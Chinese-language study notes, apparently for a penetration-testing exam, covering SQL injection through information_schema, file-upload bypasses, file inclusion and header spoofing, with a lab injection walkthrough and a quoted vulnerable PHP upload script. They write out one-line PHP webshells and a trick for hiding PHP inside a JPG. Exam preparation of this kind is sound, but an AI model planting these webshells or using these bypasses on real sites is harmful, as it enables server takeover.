总结:要记住的东西:
sql:
group_concat()
information_schema
columns
information_schema.columns底下的列名:table_schema,table_name,column_name
文件上传:
一句话木马: <?php eval($_POST['a']);?>
,变型 <?php echo @system($_POST['a']);?>
研究自带的sqzr.php(之前考试都可以传)
可能会检查文件内容的头,可以复制(也可以copy /b jpg.jpg+sqzr.php result.jpg
反序列化:
尽量找能shell的题目,背下基础的构成以防万一(因为操作机环境没有php)
文件包含:
伪协议(data,远程文件包含)
双写绕过别忘了
referer和xff:
X-Forwarded-For(拼写)
周末抽时间刷了一下pte的基础题,确实挺基础的(说实话比学之前招生老师扔给我的例子简单多了)
一共五道题
1.sql注入
代码:
1 | select * from Article where uuid = '983fd952-df4e-4b63-946f-f2e6bb0327d6' |
url是http://10.1.11.12:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6
过滤了--
和#
,老师的做法是就不用注释了,但是这里还有;%00
可以用
1.;%00
法:
1 |
|
$files = @$_FILES["files"];
if (judge($files))
{
$fullpath = '/' . $files["name"];
if (move_uploaded_file($files['tmp_name'], $_SERVER["DOCUMENT_ROOT"] . $fullpath)) {
echo "<a href='$fullpath'>图片上传成功</a>";
}
}
elseif (!(judge($files))&&!empty($files)) {
$fullpath = '';
echo "图片上传失败!";
}
echo '<form method=POST enctype="multipart/form-data" action="">
<input type="file" name="files">
<input type=submit value="上传" class="btn btn-warning"></form>';
?>
</div>
<div class="card-action">
<?php if($fullpath!= '') { echo "文件有效,上传成功: <a href=\"$fullpath\"> 点我查看</a>"; } ?>
</div>